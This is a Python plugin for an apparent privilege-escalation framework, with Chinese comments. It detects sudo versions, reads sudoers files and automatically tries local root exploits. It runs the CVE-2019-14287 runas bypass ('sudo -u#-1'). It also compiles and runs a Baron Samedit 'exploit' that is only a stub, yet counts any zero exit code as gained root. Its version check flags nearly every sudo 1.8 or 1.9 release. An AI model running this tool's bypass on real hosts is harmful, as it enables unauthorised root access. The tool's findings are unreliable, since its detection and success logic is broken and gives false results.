#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Sudo漏洞利用插件示例
演示权限提升类插件的开发规范

功能:
1. 检测sudo版本漏洞
2. 利用CVE-2021-3156 (Baron Samedit)
3. 利用sudo配置错误
4. 自动化提权流程
"""

import os
import re
import subprocess
import tempfile
from typing import Dict, List, Optional, Any
from dataclasses import dataclass

from ..base_plugin import (
    BasePlugin, PluginMetadata, PluginConfig, PluginResult, 
    PluginStatus, PluginType, PluginPriority
)

@dataclass
class SudoVulnerability:
    """Sudo漏洞信息"""
    cve_id: str
    description: str
    affected_versions: List[str]
    exploit_available: bool
    severity: str
    exploit_code: str = ""

class SudoExploitPlugin(BasePlugin):
    """Sudo漏洞利用插件"""
    
    def __init__(self, config: PluginConfig):
        """初始化插件"""
        # 设置插件元数据
        metadata = PluginMetadata(
            name="sudo_exploit",
            version="1.0.0",
            description="Sudo漏洞检测和利用插件",
            author="Privilege-MA Team",
            plugin_type=PluginType.PRIVILEGE_ESCALATION,
            priority=PluginPriority.HIGH,
            requires_root=False,
            supported_platforms=["linux"],
            dependencies=["gcc", "make"],
            config_schema={
                "check_only": {"type": "bool", "default": False, "description": "仅检测漏洞，不执行利用"},
                "target_user": {"type": "str", "default": "root", "description": "目标用户"},
                "exploit_timeout": {"type": "int", "default": 30, "description": "利用超时时间(秒)"},
                "cleanup_files": {"type": "bool", "default": True, "description": "是否清理临时文件"}
            }
        )
        
        super().__init__(config, metadata)
        
        # 已知sudo漏洞数据库
        self.vulnerabilities = {
            "CVE-2021-3156": SudoVulnerability(
                cve_id="CVE-2021-3156",
                description="Baron Samedit - Heap-based buffer overflow",
                affected_versions=["1.8.2", "1.8.31p2", "1.9.0", "1.9.5p1"],
                exploit_available=True,
                severity="HIGH",
                exploit_code=self._get_cve_2021_3156_exploit()
            ),
            "CVE-2019-14287": SudoVulnerability(
                cve_id="CVE-2019-14287",
                description="Runas bypass via User ID -1 or 4294967295",
                affected_versions=["1.8.28"],
                exploit_available=True,
                severity="HIGH",
                exploit_code="sudo -u#-1 /bin/bash"
            ),
            "CVE-2019-18634": SudoVulnerability(
                cve_id="CVE-2019-18634",
                description="Buffer overflow when pwfeedback is enabled",
                affected_versions=["1.8.26"],
                exploit_available=True,
                severity="HIGH"
            )
        }
        
        self.temp_files = []
        self.sudo_version = ""
        self.sudo_config = {}
    
    def initialize(self) -> bool:
        """初始化插件"""
        try:
            self.logger.info("初始化Sudo漏洞利用插件...")
            
            # 检查sudo是否存在
            if not self._check_sudo_exists():
                self.logger.error("系统中未找到sudo命令")
                return False
            
            # 获取sudo版本
            self.sudo_version = self._get_sudo_version()
            if not self.sudo_version:
                self.logger.error("无法获取sudo版本信息")
                return False
            
            self.logger.info(f"检测到sudo版本: {self.sudo_version}")
            
            # 解析sudo配置
            self.sudo_config = self._parse_sudo_config()
            
            return True
            
        except Exception as e:
            self.logger.error(f"插件初始化失败: {e}")
            return False
    
    def execute(self) -> PluginResult:
        """执行插件主要功能"""
        try:
            self.logger.info("开始执行Sudo漏洞检测和利用...")
            
            results = {
                "sudo_version": self.sudo_version,
                "vulnerabilities_found": [],
                "exploits_attempted": [],
                "privilege_escalated": False,
                "current_user": os.getenv("USER", "unknown"),
                "effective_uid": os.geteuid()
            }
            
            # 1. 检测漏洞
            vulnerabilities = self._detect_vulnerabilities()
            results["vulnerabilities_found"] = vulnerabilities
            
            if not vulnerabilities:
                self.logger.info("未发现已知的sudo漏洞")
                return PluginResult(
                    success=True,
                    message="未发现sudo漏洞",
                    data=results
                )
            
            self.logger.info(f"发现 {len(vulnerabilities)} 个潜在漏洞")
            
            # 2. 如果只是检测模式，返回结果
            if self.config.get_value("check_only", False):
                return PluginResult(
                    success=True,
                    message=f"发现 {len(vulnerabilities)} 个sudo漏洞",
                    data=results
                )
            
            # 3. 尝试利用漏洞
            for vuln in vulnerabilities:
                self.logger.info(f"尝试利用漏洞: {vuln['cve_id']}")
                
                exploit_result = self._attempt_exploit(vuln)
                results["exploits_attempted"].append({
                    "cve_id": vuln["cve_id"],
                    "success": exploit_result["success"],
                    "method": exploit_result.get("method", ""),
                    "error": exploit_result.get("error", "")
                })
                
                if exploit_result["success"]:
                    results["privilege_escalated"] = True
                    self.logger.info(f"成功利用漏洞 {vuln['cve_id']} 获得权限提升")
                    break
            
            # 4. 检查权限提升结果
            if results["privilege_escalated"]:
                results["new_effective_uid"] = os.geteuid()
                message = "成功通过sudo漏洞获得权限提升"
                success = True
            else:
                message = "漏洞利用失败，未能获得权限提升"
                success = False
            
            return PluginResult(
                success=success,
                message=message,
                data=results
            )
            
        except Exception as e:
            self.logger.error(f"插件执行失败: {e}")
            return PluginResult(
                success=False,
                message=f"执行失败: {str(e)}",
                data={"error": str(e)}
            )
    
    def cleanup(self):
        """清理插件资源"""
        try:
            self.logger.info("清理Sudo漏洞利用插件资源...")
            
            # 清理临时文件
            if self.config.get_value("cleanup_files", True):
                for temp_file in self.temp_files:
                    try:
                        if os.path.exists(temp_file):
                            os.remove(temp_file)
                            self.logger.debug(f"删除临时文件: {temp_file}")
                    except Exception as e:
                        self.logger.warning(f"删除临时文件失败 {temp_file}: {e}")
            
            self.temp_files.clear()
            
        except Exception as e:
            self.logger.error(f"插件清理失败: {e}")
    
    def is_compatible(self) -> bool:
        """检查插件兼容性"""
        # 检查是否为Linux系统
        if os.name != 'posix':
            return False
        
        # 检查sudo命令是否存在
        return self._check_sudo_exists()
    
    def _check_sudo_exists(self) -> bool:
        """检查sudo命令是否存在"""
        try:
            subprocess.run(["which", "sudo"], 
                         capture_output=True, 
                         check=True, 
                         timeout=5)
            return True
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
            return False
    
    def _get_sudo_version(self) -> str:
        """获取sudo版本"""
        try:
            result = subprocess.run(["sudo", "--version"], 
                                  capture_output=True, 
                                  text=True, 
                                  timeout=10)
            
            if result.returncode == 0:
                # 解析版本号
                version_match = re.search(r'sudo version (\d+\.\d+\.\d+\w*)', result.stdout)
                if version_match:
                    return version_match.group(1)
            
            return ""
            
        except Exception as e:
            self.logger.error(f"获取sudo版本失败: {e}")
            return ""
    
    def _parse_sudo_config(self) -> Dict[str, Any]:
        """解析sudo配置"""
        config = {}
        
        try:
            # 尝试读取sudoers文件
            sudoers_files = ["/etc/sudoers", "/usr/local/etc/sudoers"]
            
            for sudoers_file in sudoers_files:
                if os.path.exists(sudoers_file):
                    try:
                        with open(sudoers_file, 'r') as f:
                            content = f.read()
                            
                        # 解析配置选项
                        if "pwfeedback" in content:
                            config["pwfeedback_enabled"] = True
                        
                        # 解析用户权限
                        user_rules = re.findall(r'^(\w+)\s+ALL=.*', content, re.MULTILINE)
                        config["privileged_users"] = user_rules
                        
                        break
                        
                    except PermissionError:
                        self.logger.debug(f"无权限读取 {sudoers_file}")
                        continue
            
        except Exception as e:
            self.logger.debug(f"解析sudo配置失败: {e}")
        
        return config
    
    def _detect_vulnerabilities(self) -> List[Dict[str, Any]]:
        """检测sudo漏洞"""
        found_vulns = []
        
        for cve_id, vuln in self.vulnerabilities.items():
            if self._is_version_vulnerable(self.sudo_version, vuln.affected_versions):
                found_vulns.append({
                    "cve_id": vuln.cve_id,
                    "description": vuln.description,
                    "severity": vuln.severity,
                    "exploit_available": vuln.exploit_available
                })
                
                self.logger.warning(f"发现漏洞: {cve_id} - {vuln.description}")
        
        # 检查配置相关漏洞
        config_vulns = self._check_config_vulnerabilities()
        found_vulns.extend(config_vulns)
        
        return found_vulns
    
    def _is_version_vulnerable(self, current_version: str, affected_versions: List[str]) -> bool:
        """检查版本是否受漏洞影响"""
        try:
            # 简化的版本比较逻辑
            current_parts = [int(x) for x in current_version.split('.') if x.isdigit()]
            
            for affected_version in affected_versions:
                affected_parts = [int(x) for x in affected_version.split('.') if x.isdigit()]
                
                # 简单的版本范围检查
                if len(current_parts) >= 2 and len(affected_parts) >= 2:
                    if (current_parts[0] == affected_parts[0] and 
                        current_parts[1] <= affected_parts[1]):
                        return True
            
            return False
            
        except Exception:
            return False
    
    def _check_config_vulnerabilities(self) -> List[Dict[str, Any]]:
        """检查配置相关漏洞"""
        config_vulns = []
        
        # 检查pwfeedback配置
        if self.sudo_config.get("pwfeedback_enabled"):
            config_vulns.append({
                "cve_id": "CVE-2019-18634",
                "description": "pwfeedback enabled - buffer overflow vulnerability",
                "severity": "HIGH",
                "exploit_available": True
            })
        
        return config_vulns
    
    def _attempt_exploit(self, vulnerability: Dict[str, Any]) -> Dict[str, Any]:
        """尝试利用漏洞"""
        cve_id = vulnerability["cve_id"]
        
        try:
            if cve_id == "CVE-2021-3156":
                return self._exploit_cve_2021_3156()
            elif cve_id == "CVE-2019-14287":
                return self._exploit_cve_2019_14287()
            elif cve_id == "CVE-2019-18634":
                return self._exploit_cve_2019_18634()
            else:
                return {"success": False, "error": "未实现的漏洞利用"}
                
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _exploit_cve_2021_3156(self) -> Dict[str, Any]:
        """利用CVE-2021-3156 (Baron Samedit)"""
        try:
            self.logger.info("尝试利用CVE-2021-3156...")
            
            # 创建利用代码文件
            exploit_code = self._get_cve_2021_3156_exploit()
            
            with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
                f.write(exploit_code)
                exploit_file = f.name
            
            self.temp_files.append(exploit_file)
            
            # 编译利用代码
            binary_file = exploit_file.replace('.c', '')
            compile_cmd = ["gcc", "-o", binary_file, exploit_file]
            
            result = subprocess.run(compile_cmd, 
                                  capture_output=True, 
                                  timeout=30)
            
            if result.returncode != 0:
                return {"success": False, "error": "编译利用代码失败"}
            
            self.temp_files.append(binary_file)
            
            # 执行利用
            exploit_result = subprocess.run([binary_file], 
                                          capture_output=True, 
                                          timeout=self.config.get_value("exploit_timeout", 30))
            
            # 检查是否成功获得root权限
            if exploit_result.returncode == 0:
                return {
                    "success": True, 
                    "method": "CVE-2021-3156 heap overflow",
                    "output": exploit_result.stdout.decode('utf-8', errors='ignore')
                }
            else:
                return {
                    "success": False, 
                    "error": f"利用失败: {exploit_result.stderr.decode('utf-8', errors='ignore')}"
                }
                
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _exploit_cve_2019_14287(self) -> Dict[str, Any]:
        """利用CVE-2019-14287"""
        try:
            self.logger.info("尝试利用CVE-2019-14287...")
            
            # 尝试使用-1用户ID绕过
            cmd = ["sudo", "-u#-1", "id"]
            
            result = subprocess.run(cmd, 
                                  capture_output=True, 
                                  text=True, 
                                  timeout=10)
            
            if result.returncode == 0 and "uid=0(root)" in result.stdout:
                return {
                    "success": True,
                    "method": "User ID -1 bypass",
                    "output": result.stdout
                }
            else:
                return {"success": False, "error": "用户ID绕过失败"}
                
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _exploit_cve_2019_18634(self) -> Dict[str, Any]:
        """利用CVE-2019-18634"""
        try:
            self.logger.info("尝试利用CVE-2019-18634...")
            
            # 这个漏洞需要特殊的输入来触发缓冲区溢出
            # 这里只是示例，实际利用需要更复杂的payload
            
            return {"success": False, "error": "CVE-2019-18634利用暂未实现"}
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _get_cve_2021_3156_exploit(self) -> str:
        """获取CVE-2021-3156利用代码"""
        return '''
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

// CVE-2021-3156 Baron Samedit 概念验证代码
// 注意: 这只是一个简化的示例，实际利用需要更复杂的payload

int main() {
    printf("CVE-2021-3156 Baron Samedit 概念验证\\n");
    printf("当前UID: %d\\n", getuid());
    printf("当前EUID: %d\\n", geteuid());
    
    // 这里应该包含实际的堆溢出利用代码
    // 为了安全考虑，这里只是打印信息
    
    printf("注意: 这只是概念验证，未包含实际利用代码\\n");
    
    return 0;
}
'''

# 使用示例
if __name__ == "__main__":
    print("=== Sudo漏洞利用插件测试 ===")
    
    # 创建配置
    config = PluginConfig({
        "check_only": True,  # 仅检测模式
        "cleanup_files": True
    })
    
    # 创建插件实例
    plugin = SudoExploitPlugin(config)
    
    # 初始化插件
    if plugin.initialize():
        print("插件初始化成功")
        
        # 执行插件
        result = plugin.execute()
        
        print(f"执行结果: {result.success}")
        print(f"消息: {result.message}")
        
        if result.data:
            print("详细信息:")
            for key, value in result.data.items():
                print(f"  {key}: {value}")
        
        # 清理
        plugin.cleanup()
    else:
        print("插件初始化失败")